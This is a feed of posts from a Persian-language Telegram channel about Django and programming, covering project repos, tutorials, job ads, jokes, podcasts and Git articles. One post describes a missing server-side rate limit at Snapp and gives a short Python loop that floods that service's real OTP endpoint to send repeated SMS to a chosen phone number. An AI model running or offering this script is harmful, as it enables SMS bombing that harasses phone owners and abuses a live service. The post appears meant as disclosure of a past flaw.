Django Expert
9.71K subscribers
993 photos
81 videos
114 files
1.34K links
✔️ بزرگترین کانال و جامعه جنگو به فارسی
Contact:
@majid_aghamohamad
@BobyCloud

Group:
@DjangoIR

Our Site ;coming soon:
🔜 PyExpert.ir

تبلیغات نداریم فقط درج آگهی های استخدامی مرتبط پذیرفته می‌شود
Download Telegram
✔️ سورس کد پروژه کنترل و پایش اینترنت اشیاء

این سیستم اطلاعات سنسورهای دما، رطوبت، نور و حرکت رو میفرسته به سرور و همچنین دستور خاموش و روشن کردن دوتا وسیله برقی مثل فن، بخاری برقی و ... رو از سرور میگیره و اعمال میکنه.
یه کاربرد خوب چنین سیستم‌هایی زمانیه که مثلا یه روز سرد زمستونی میخواید قبل از رسیدنتون به خونه، دمای خونه گرم بشه. کاری که میکنید اینه که به راحتی بخاری برقی رو روشن میکنید! :)
بکند سرور رو با Django نوشتم و nodemuc رو با Arduino IDE کد نویسی کردم.

وسائل مورد نیاز این پروژه:
۱. ماژول nodemcu
۲. سنسور دما و رطوبت DHT11
۳. سنسور تشخیص حرکت PIR HC-SR501
۴. یک عدد LDR
۵. یک عدد مقاومت ۱۰ کیلو اهم
۶. دو عدد رله ۵ ولت برای کنترل وسائل برقی
۷. یه مقدار سیم جامپر :)
۸. نرم افزار آردوینو


لینک گیت هاب:
https://github.com/h4mid-hosseini/friday

〰️〰️〰️〰️〰️
© @DjangoEX
👍2710🔥5👎3🎉3👏2😁1
✔️ پیاده سازی سرویس Login با Django Rest Framework

در این ویدیو سرویس لاگینی که جلسه پیش صحبت کردیم رو پیاده کردم و توضیحاتی در مورد پیاده سازی سرویس بعدی که رجیستر هست دادم. ببینم چیکار می کنید.

🖥 مشاهده در یوتوب:
👉 Link: https://youtu.be/XROn7_4SF4s

🛑توجه: حتماً، قطعاً، مسلماً و موکداً لطفاً با هندزفری تماشا کنید. 🛑

#django #جنگو
〰️〰️〰️〰️〰️
© @DjangoEx
🔥13👍6
This media is not supported in your browser
VIEW IN TELEGRAM
✔️ وقتی بدون logging & monitoring داری دیباگ می‌کنی

#fun_but_fact
〰️〰️〰️〰️〰️
© @DjangoEx
😁34👍3
بزرگترین دیداس تاریخ توسط گوگل دفع شد با ۴۶ میلیون درخواست در ثانیه. میانگین درخواست در ثانیه گوگل زیر صدهزار هست

بعد یادم نمیره یه نفر میگفت جنگو بده چون اگر قرار باشه سایتش ده میلیون بازدید هم زمان داشته باشه، نمیتونه هندلش کنه (((:

https://cloud.google.com/blog/products/identity-security/how-google-cloud-blocked-largest-layer-7-ddos-attack-at-46-million-rps

#اسکل_نباشیم

〰️〰️〰️〰️〰️
© @DjangoEx
👍29😁7👎1🤔1
✔️دعوت به همکاری:

موقعیت کاری Remote

توضیحات :


We are looking for a Python (Django) Developer to join our engineering team and help us develop and maintain Abrisham products. Python Developer responsibilities include writing, testing code and debugging programs. To be successful in this role, you should have experience using server-side logic and work well in a team. Ultimately, you’ll build highly responsive web application that align with our business needs.

Do you want to be a part of the Future? Future is here!

Job Responsibilities:
Build optimal backend applications that are performing at scale.
Develop back-end components to improve responsiveness and overall performance.
Work together with the product leadership to plan new features.
Coordinate with internal teams to understand user requirements and provide technical solutions.
Oversee the compliance of applications with established quality standards.

Requirements:
Experience in coding in Python and Django on production-level code for more than 2 years.
Experience with Django Rest Framework.
Ability to deliver clean, well-structured OOP code written in Python.
Experience with socket programming with Python is a plus.
Self-management skills with a pragmatic mindset focused on continuous improvement.
Ability to find pragmatic and innovative solutions to complex problems.
experience in JS is a plus.
Able to work in as a contractor in a full-time remote position.
Familiar with Linux, Nginx, Django deployment, Redis.

About Abrisham Co.
Abrisham is an online healthcare services platform. The main service is online clinic that make the online processes for clinics & hospitals.

Please send your resume for [email protected]

〰️〰️〰️〰️〰️〰️
@DjangoEx
👍11👎3
✔️درخواست همکاری

امیر حمیدی هستم
توسعه دهنده جونیور جنگو
بیشتر از یه سال سابقه برنامه نویسی با پایتون رو دارم
تسلط نسبی روی فرانت اند
با انگیزه و عاشق پروژه های چالش برانگیز
به یادگیری برنامه‌نویسی هم علاقه‌مندم

سابقه کار فریلنسری Freelancer.com
توانایی کد نویسی شئ گرا و همچنین علاقه‌مند به کد نویسی پاک و مطابق با pep8

مسلط به :
Python
Django
Django Rest Framework
MySQL
PostgreSQL
Docker
Git
Linux
و تسلط نسبی به:
HTML
CSS
js & JQuery
Bootstrap

تحصیلات : لیسانس برق الکتروتکنیک
22 ساله و ساکن تهران

به دنبال موقعیت کارآموزی یا دولوپر جونیور جنگو

نمونه کارام رو هم میتونید تو وبسایتم ملاحظه کنید
وبسایت :
amirhamidi.herokuapp.com
ایمیل :
[email protected]
گیتهاب :
amirhamidi2001
آیدی تلگرام جهت ارتباط :
@Amirhamidi2001

© @DjangoEx
👍31👎6👏2🔥1
هر آدمی از یک یا چند روش بهتر یاد میگیره،
برای مثال دیدن ویدئو، گوش دادن به پادکست، خوندن کتاب یا مقاله، مطالعه چارت‌ها و نمودارها یا …

اگه میخواید خودتون رو بهتر بشناسید که از چه طریقی بهتر یاد میگیرید، این سایت رو پیشنهاد میکنم:
👉 Link: https://www.educationplanner.org/students/self-assessments/learning-styles.shtml
اگه شما هم سایتی رو میشناسید توی کامنت‌ها معرفی کنید

〰️〰️〰️〰️〰️
© @DjangoEx
👍231🔥1👏1
✔️ اگه تنها چیزی که داری یه چکشه 🔨 همه‌چیز به نظرت میخ میرسه.

پ ن: اگه تنها چیزی که داری و بلدی فریمورک X هست، … (ادامه‌اش به عهده شما)
〰️〰️〰️〰️〰️
© @DjangoEx
👍40
✔️ برنامه نویسی رو از کجا شروع کنم؟

اگر به تازگی می خواهید برنامه نویسی رو شروع کنید و این سوال براتون پیش اومده که باید برنامه نویسی رو از کجا شروع کنید امیدوارم این ویدیو بتونه بهتون کمک کنه.

🖥 مشاهده در یوتوب:
👉 Link: https://youtu.be/Ft2vXrbT39k

🛑توجه: حتماً، قطعاً، مسلماً و موکداً لطفاً با هندزفری تماشا کنید. 🛑

#django #جنگو
〰️〰️〰️〰️〰️
© @DjangoEx
👎129👍4🔥3
✔️ راهنمای کلین کد در پایتون

کتاب کلین کد معروف آقای Robert C. Martin برای هر برنامه نویسی از واجباته، اما چون درمورد جاوا صحبت میکنه، برای برنامه نویس های پایتون لذت بخش و خیلی بدردبخور نیست.
این ریپو راهنمای بسیار خوب و دقیقی برای کد تمیز نوشتن در پایتون هست که همون کتاب کلین کده، اما به زبان پایتون

از خوندنش لذت ببرید
👉 Link: https://github.com/SepehrRasouli/clean-code-python

بچه‌ها سپهر کل ریپو کلین کد پایتون رو به فارسی ترجمه کرده،‌ برای حمایت ازش استار بدید 🔥✌️

〰️〰️〰️〰️〰️
© @DjangoEx
🔥51👍1582👏1🙏1
This media is not supported in your browser
VIEW IN TELEGRAM
✔️ وقتی مدیر پروژه میپرسه این فیچر کی آماده میشه؟

#fun
〰️〰️〰️〰️〰️
© @DjangoEx
😁44👍3👎1
✔️ پادکست کامپایل پادکست خوبیه، پیشنهاد می‌کنم گوش بدید.

راجع به TDD، BDD، دوآپس، اجایل و اسکرام، مهاجرت کاری به دانمارک و … صحبت می‌کنه.
👉 Link: https://open.spotify.com/show/7vG8xY1ih6mVLn8OHZkRx1?si=a67af5acbdb84ab9
سرچ کنید توی بقیه جاها بجز اسپاتیفای هم هست.

〰️〰️〰️〰️〰️
© @DjangoEx
👍15🔥4
توی اینستا میچرخیدم که یه ویدیو آموزش پایتون اومد. فرد ۶۷ هزار فالور داشت و به نظرم میومد کلا فرد اوکیه و نمیشه اسمشو مدحج ۲ گذاشت. اما نکته عجیبی بود.

ایشون طرح سوال کردن که «اگر بخوایم شماره ایندکس های یک ارایه (لیست) رو چاپ کنیم، چه روشی استفاده می کنید» و به ذهن من اومد:
for in range(len(my_list)): ...

اما این دوستمون گفتن اگر از این روش استفاده کنید، نشون میده چیزی از پایتون یاد نگرفتید😁 و روش بهتر اینه:
for i, num in enumerate(my_list): ...

شما در نظرسنجی پایین شرکت کنید و بگید از کدوم راه استفاده می کنید؟

〰️〰️〰️〰️〰️
© @DjangoEx
👍9🥰1
👍6👎2
✔️ این پست لینکداین جزو پست‌هایی بود که نمیدونستم بخندم یا گریه کنم

#موقت
〰️〰️〰️〰️〰️
© @DjangoEx
😁46😢6👍1🥰1🤣1
Django Expert
✔️ این پست لینکداین جزو پست‌هایی بود که نمیدونستم بخندم یا گریه کنم #موقت 〰️〰️〰️〰️〰️ © @DjangoEx
✔️ شاید فکرکنید که این اتفاق فقط توی شرکت‌های کوچیک اتفاق می‌افته، اما سال گذشته که خودم تست کردم، اسنپ هم این مشکل رو داشت و با یه api call میتونستید در دقیقه صدها پیامک OTP به یک شماره خاص ارسال کنید. درواقع محدودیت زمانی رو فقط سمت کلاینت چک می‌کرد. 🙂

اینم کدش

import requests
x = input("Number:+98")
y = int(input("Power:"))
payload = {"cellphone":"+98%s" % x}
for i in range(y):
resp = requests.post('https://app.snapp.taxi/api/api-passenger-oauth/v2/otp', json=payload)
print(resp.json())



#موقت
〰️〰️〰️〰️〰️
© @DjangoEx
👍23😱5😢2🥰1
Django Expert
✔️ فرق برنامه‌نویس جونیور/مدیور/سنیور/تکنیکال لید چه چیزهایی هست؟ از دیدگاه مهدی ولیزاده، Senior Software Engineer در هلند اگر مایل هستید ویدئو کامل رو ببینید نکات خیلی خوبی برای پیشرفت در مسیر شغلی مهندسی نرم افزار مطرح شده. امیدوارم مفید باشه. 👉 Link:…
✔️ آقای مهدی ولیزاده عزیز که قبلا باهاشون صحبت کرده بودیم، یک دوره جدید گیت ضبط کردن،
پیشنهاد میکنم حتما ببینید و استفاده کنید، سرفصل‌های خیلی خوبی داره، رایگان روی یوتوب هست و ایشون هم پر از تجربه هستند.

👉 Link: https://www.youtube.com/playlist?list=PLvL5xOAThbTBPsPBiU-gagH1-iKH-gEJS

〰️〰️〰️〰️〰️
© @DjangoEx
👍18🔥5🥰32👎1
اشتراک دیتابیس AWS رایگان میخواید؟

از PlanetScale استفاده کنید. توی ریجن های مختلف، یه پلن فری داره به اندازه ۵ گیگابایت. بنظرم واسه خیلی از کیس ها، به صرفس. تازه، یه انجین دیتابیس واسش نوشتم که باهاش میتونید پروژه جنگوتون رو به دیتابیس هاشون وصل کنید. :)

جدیدا هم ریجن لندن رو لانچ کردن. 👌

Package 👉 https://github.com/lnxpy/django-psdb-engine

PlanetScale 🫴 https://planetscale.com

〰️〰️〰️〰️〰️
© @DjangoEx | @lnxpylnxpy
👍16🤩71🥰1👏1
آموزش پایتون، دوآپس و مهندسی نرم افزار | BobyCloud
✔️ آشنایی با Latency Numbers برای هر مهندس نرم‌افزاری اجباری هست! دکتر Jeff Dean تحقیقی در سال ۲۰۱۰ انجام داده برای بررسی میزان تاخیر پردازش های کامپیوتری، ایشون از مهندس های قدیمی گوگل از سال ۱۹۹۹ هست و بخش های زیادی از محصولات گوگل رو طراحی و پیاده سازی…
✔️ قبلا یه پست از جف دین گذاشته بودم توی کانال و ایشون بالاترین لول مهندسی رو توی گوگل داره

توی این رشتو لوکوموتیو عزیز اومده ۳۵ تا جوک توی شرکت گوگل راجع به جف دین هست رو نوشته که خیلی باحاله:
👉 Link: https://twitter.com/Loc0m0/status/1565177889296764928

این خیلی باحال تر بود: جف برای این‌که یه ایده رو سریع بتونه یه جایی بنویسه که یادش نره، اون رو به زبان اسمبلی می‌نویسه. 😂

〰️〰️〰️〰️〰️
© @DjangoEx
😁16🔥7👍5🥰1
Branch Like a Pro 🔥

در این پست، درباره انواع Flowهای توسعه صحبت کردیم. از Git Flow‌ و GitHub Flow‌ تا فلوی محبوب GitLab و باقی استراتژی‌ها. درباره برنچ‌های اساسی صحبت کردیم و با بست پرکتیس‌های انتخاب اسم مناسب بعنوان نام برنچ آشنا شدیم!

🫶 یک پینوشت نسبتا کوتاه: جدیدا یک مجموعه رو شروع کردم بعنوان Develop Like a Pro‌ و سعی دارم درباره تریک‌ها و بست‌پرکتیس‌های حوزه خودمون تحت این مجموعه برای دوستانی که علاقهمند هستن و سعی دارن وارد بازار کار شن، مقاله بنویسم. توجهتون از مقاله اول باعث شد دست به کار شم و مقاله دوم این مجموعه رو هم بنویسم. 😍🥳

امیدوارم لذت ببرید. :)❤️

👉 Link: https://imsadra.me/branch-like-a-pro

〰️〰️〰️〰️〰️
© @DjangoEx | @lnxpylnxpy
🔥27👍5🤩32👎2🥰1🤔1